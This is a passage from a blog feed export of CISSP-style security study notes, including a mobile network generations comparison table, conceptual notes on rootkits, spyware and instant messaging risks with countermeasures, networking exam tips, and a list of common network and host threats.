 &lt;/tr&gt;
&lt;tr&gt;
  &lt;td style=&quot;border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 109.8pt;&quot; valign=&quot;top&quot; width=&quot;183&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 9pt;&quot;&gt;Messaging Features&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 109.8pt;&quot; valign=&quot;top&quot; width=&quot;183&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 9pt;&quot;&gt;None&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 109.8pt;&quot; valign=&quot;top&quot; width=&quot;183&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 9pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12px; text-align: left;&quot;&gt;Text only&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12px; text-align: left;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 109.8pt;&quot; valign=&quot;top&quot; width=&quot;183&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 9pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12px; text-align: left;&quot;&gt;Graphics and formatted text&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12px; text-align: left;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 109.8pt;&quot; valign=&quot;top&quot; width=&quot;183&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 9pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12px; text-align: left;&quot;&gt;Full unified messaging&lt;/span&gt;&lt;span style=&quot;text-align: left;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;tr&gt;
  &lt;td style=&quot;border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 109.8pt;&quot; valign=&quot;top&quot; width=&quot;183&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 9pt;&quot;&gt;Data Support&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 109.8pt;&quot; valign=&quot;top&quot; width=&quot;183&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 9pt;&quot;&gt;None&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 109.8pt;&quot; valign=&quot;top&quot; width=&quot;183&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 9pt;&quot;&gt;Circuit switched
  (packet switched in 2.5G)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 109.8pt;&quot; valign=&quot;top&quot; width=&quot;183&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 9pt;&quot;&gt;Packet switched&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 109.8pt;&quot; valign=&quot;top&quot; width=&quot;183&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 9pt;&quot;&gt;Native IPv6&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;tr&gt;
  &lt;td style=&quot;border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 109.8pt;&quot; valign=&quot;top&quot; width=&quot;183&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 9pt;&quot;&gt;Target Data Rate &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 109.8pt;&quot; valign=&quot;top&quot; width=&quot;183&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 9pt;&quot;&gt;N/A &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 109.8pt;&quot; valign=&quot;top&quot; width=&quot;183&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 9pt;&quot;&gt;14.4 Kbps (approx.
  115 Kbps in 2.5G)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 109.8pt;&quot; valign=&quot;top&quot; width=&quot;183&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 9pt;&quot;&gt;2 Mbps (10 Mbps in
  3.5G), 14Mbps with HSPA+&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 109.8pt;&quot; valign=&quot;top&quot; width=&quot;183&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 9pt;&quot;&gt;100 Mbps&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;tr&gt;
  &lt;td style=&quot;border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 109.8pt;&quot; valign=&quot;top&quot; width=&quot;183&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 9pt;&quot;&gt;Real Data Rate&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 109.8pt;&quot; valign=&quot;top&quot; width=&quot;183&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 9pt;&quot;&gt;2.4 Kbps 9.6 Kbps
  (approx. 40 Kbps in 2.5G)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 109.8pt;&quot; valign=&quot;top&quot; width=&quot;183&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 9pt;&quot;&gt;64 Kbps &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 109.8pt;&quot; valign=&quot;top&quot; width=&quot;183&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 9pt;&quot;&gt;Unknown&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 109.8pt;&quot; valign=&quot;top&quot; width=&quot;183&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;tr&gt;
  &lt;td style=&quot;border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 109.8pt;&quot; valign=&quot;top&quot; width=&quot;183&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 9pt;&quot;&gt;Interface with Other&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 9pt;&quot;&gt;Devices&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 109.8pt;&quot; valign=&quot;top&quot; width=&quot;183&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 9pt;&quot;&gt;Acoustic&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 9pt;&quot;&gt;coupler&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 109.8pt;&quot; valign=&quot;top&quot; width=&quot;183&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 9pt;&quot;&gt;RS232 serial cable
  or&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 9pt;&quot;&gt;IrDA&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 109.8pt;&quot; valign=&quot;top&quot; width=&quot;183&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 9pt;&quot;&gt;IEEE 802.11 or
  Bluetooth&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 109.8pt;&quot; valign=&quot;top&quot; width=&quot;183&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 9pt;&quot;&gt;Seamless connection
  via&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 9pt;&quot;&gt;multiple methods&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;display: inline !important;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;display: inline !important;&quot;&gt;
&lt;b&gt;Rootkits&lt;/b&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;display: inline !important;&quot;&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Once the level of access is achieved, the attacker can upload a bundle of&lt;/li&gt;
&lt;li&gt;tools, collectively called a rootkit.&lt;/li&gt;
&lt;li&gt;The first thing that is usually installed is a backdoor program, which allows the attacker&amp;nbsp;to enter the system at any time without having to go through any authentication steps. (A backdoor is just a service that&amp;nbsp;listens on a specific port.)&lt;/li&gt;
&lt;li&gt;Trojaned programs: replaces these default utilities for detecting rootkits with&amp;nbsp;new utilities, which share the same name.&lt;/li&gt;
&lt;li&gt;rootkits also contain sniffers, but the system&#39;s NIC must be put into promiscuous mode, which just means it can &quot;hear&quot; all the traffic on the&lt;/li&gt;
&lt;li&gt;network link. The default ipconfig utility allows the root user to employ a specific parameter to see whether or not the&amp;nbsp;NIC is running in promiscuous mode. So, the rootkit also contains a Trojaned ipconfig program, which hides the fact&amp;nbsp;that the NIC is in promiscuous mode.&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;In Unix\Linux, this utility is&amp;nbsp;called ifconfig.&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;Rootkits usually contain &quot;log scrubbers&quot; that remove traces of the attacker&#39;s activities from the system logs. They can also&amp;nbsp;contain Trojaned programs that replace find and ls Unix utilities, so that when a user does a listing of what is in a&amp;nbsp;specific directory, the rootkit will not be listed.&lt;/li&gt;
&lt;li&gt;more powerful rootkits actually update the kernel of the system.&amp;nbsp;It is also very difficult to detect kernel updates&amp;nbsp;because most host IDS products look at&amp;nbsp;changes to file sizes and modification dates but ignore kernel.&lt;/li&gt;
&lt;li&gt;Ironically, sometimes when an attacker compromises a system and installs a rootkit, he fortifies the system against&amp;nbsp;other attackers by patching, disabling unused ports etc.&lt;/li&gt;
&lt;li&gt;Countermeasures&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;Properly hardening the system and running updated antivirus and antispyware&amp;nbsp;software.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;Use a host-based IDS.&lt;/li&gt;
&lt;li&gt;better to use a monolithic kernel rather than individual&amp;nbsp;kernel modules because rootkit cannot load itself as a module.&lt;/li&gt;
&lt;li&gt;proxy server,&amp;nbsp;firewall, IDS are usually installed with monolithic kernels.&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;b&gt;Spyware and Adware&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;/b&gt;&lt;br /&gt;
Adware is when companies want to track a user&#39;s buying and browsing habits&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Spyware is usually considered more dangerous than adware because it may be written to capture keystrokes, capture &amp;nbsp;system information, or install a backdoor on a system.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Instant Messaging&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Many firewalls do not have the capability to scan for this type of traffic to uncover suspicious activity. Blocking specific&amp;nbsp;ports on the firewalls is not usually effective because the IM traffic may be using common ports that need to be open&lt;br /&gt;
(HTTP port 80 and FTP port 21). Many of the IM clients autoconfigure themselves to work on another port if their default&amp;nbsp;port is unavailable and blocked by the firewall.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Instant messaging spam (SPIM) is a type of spamming that uses instant messengers for this malicious act.Not common.&amp;nbsp;One way to prevent SPIM is to enable the option of&amp;nbsp;receiving instant messages only from a known list of users.&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;Tips&lt;/span&gt;&lt;br /&gt;
Note Products have been developed to identify adware and spyware, and antivirus vendors are starting to incorporate&amp;nbsp;this functionality into their products.&lt;br /&gt;
&lt;br /&gt;
CISSP: email security is very important now. refer:&amp;nbsp;&lt;a href=&quot;http://www.logicalsecurity.com/resources/resources_articles.%20html.&quot; target=&quot;_blank&quot;&gt;http://www.logicalsecurity.com/resources/resources_articles. html.&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
- A protocol is a set of rules that dictates how computers communicate over networks.&lt;br /&gt;
- DNS resolves hostnames into IP addresses and has distributed databases all over the Internet to provide name&amp;nbsp;resolution.&lt;br /&gt;
- Tunneling protocols move frames from one network to another by placing them inside of routable encapsulated frames.&lt;br /&gt;
- Firewalls that use proxies transfer an isolated copy of each approved packet from one network to another network.&lt;br /&gt;
- An application proxy requires a proxy for each approved service and can understand and make access decisions on&amp;nbsp;the protocols used and the commands within those protocols.&lt;br /&gt;
- Circuit-level firewalls also use proxies but at a lower layer. Circuit-level firewalls do not look as deep within the packet&amp;nbsp;as application proxies do.&lt;br /&gt;
- PPTP works at the data link layer. IPSec works at the network layer and can handle multiple tunnels at the same time.&lt;br /&gt;
- Ethernet, 802.3, is the most commonly used LAN implementation today and can operate at 10 to 1,000 Mbps.&lt;br /&gt;
- A permanent virtual circuit (PVC) is programmed into WAN devices, whereas a switched virtual circuit (SVC) is&amp;nbsp;temporary. SVCs are set up and then torn down quickly when no longer needed.&lt;br /&gt;
- Frame relay is an economical&amp;nbsp;choice because the fee is based on bandwidth usage.&lt;br /&gt;
- Remote access servers can be configured to call back remote users, but this can be compromised by enabling call&amp;nbsp;forwarding.&lt;br /&gt;
- NAT is used when companies do not want systems to know internal hosts&#39; addresses, and it enables companies to use&amp;nbsp;private, nonroutable IP addresses.&lt;br /&gt;
- Subnetting allows large IP ranges to be divided into smaller, logical and easier to maintain network segments.&lt;br /&gt;
- Open relay is a SMTP server that is configured in such a way that it can transmit e-mail messages from any source to&amp;nbsp;any destination.&lt;/div&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://softwarearchitectureandarchitects.blogspot.com/feeds/3240764533028823986/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://softwarearchitectureandarchitects.blogspot.com/2012/12/security-network-and-telecommunication.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2716531555213613403/posts/default/3240764533028823986'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2716531555213613403/posts/default/3240764533028823986'/><link rel='alternate' type='text/html' href='http://softwarearchitectureandarchitects.blogspot.com/2012/12/security-network-and-telecommunication.html' title='Security: Network and Telecommunication Security'/><author><name>Manoj T.</name><uri>http://www.blogger.com/profile/12956931336710250261</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2716531555213613403.post-2835955854952047758</id><published>2012-12-23T12:46:00.000-08:00</published><updated>2012-12-23T12:46:00.202-08:00</updated><title type='text'>Security: Network security</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
&lt;u&gt;An example listing of components in an Applications environment:&amp;nbsp;&lt;/u&gt;&lt;br /&gt;
&lt;br /&gt;
application firewall&lt;br /&gt;
web server&lt;br /&gt;
application server&lt;br /&gt;
middleware servers&lt;br /&gt;
databases&lt;br /&gt;
web caches&lt;br /&gt;
stateful firewalls&lt;br /&gt;
routers&lt;br /&gt;
switches&lt;br /&gt;
Domain Servers&lt;br /&gt;
OTP servers&lt;br /&gt;
RSA secureID servers&lt;br /&gt;
PKI /TACACS/Radius servers-HIDS/HIPS&lt;br /&gt;
NIDS/NIPS&lt;br /&gt;
Syslog and log aggregation servers&lt;br /&gt;
Anti-Virus servers/appliances&lt;br /&gt;
Load Balancers/reverse proxies&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;Top network level threats include:&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Information gathering&lt;/li&gt;
&lt;li&gt;Sniffing&lt;/li&gt;
&lt;li&gt;Spoofing&lt;/li&gt;
&lt;li&gt;Session hijacking&lt;/li&gt;
&lt;li&gt;Denial of service&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;Top host level threats include:&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Viruses, Trojan horses, and worms&lt;/li&gt;
&lt;li&gt;Footprinting (&lt;span style=&quot;color: red;&quot;&gt; ping sweep, NETBIOS enumeration&lt;/span&gt;).&lt;/li&gt;
&lt;li&gt;Profiling&lt;/li&gt;
&lt;li&gt;Password cracking&lt;/li&gt;
&lt;li&gt;Denial of service&lt;/li&gt;
&lt;li&gt;Arbitrary code execution&lt;/li&gt;
&lt;li&gt;Unauthorized access&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;refer for notes&amp;nbsp;&lt;a href=&quot;http://www.ixiacom.com/pdfs/library/white_papers/SecurityOverviewWhitePaper.pdf&quot;&gt;http://www.ixiacom.com/pdfs/library/white_papers/SecurityOverviewWhitePaper.pdf&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://softwarearchitectureandarchitects.blogspot.com/feeds/2835955854952047758/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://softwarearchitectureandarchitects.blogspot.com/2012/12/security-network-security.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2716531555213613403/posts/default/2835955854952047758'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2716531555213613403/posts/default/2835955854952047758'/><link rel='alternate' type='text/html' href='http://softwarearchitectureandarchitects.blogspot.com/2012/12/security-network-security.html' title='Security: Network security'/><author><name>Manoj T.</name><uri>http://www.blogger.com/profile/12956931336710250261</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2716531555213613403.post-403011632307229052</id><published>2012-12-09T11:41:00.000-08:00</published><updated>2012-12-09T11:41:00.122-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="CISSP"/><category scheme="http://www.blogger.com/atom/ns#" term="Security"/><title type='text'>Security: Security Architecture and design</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
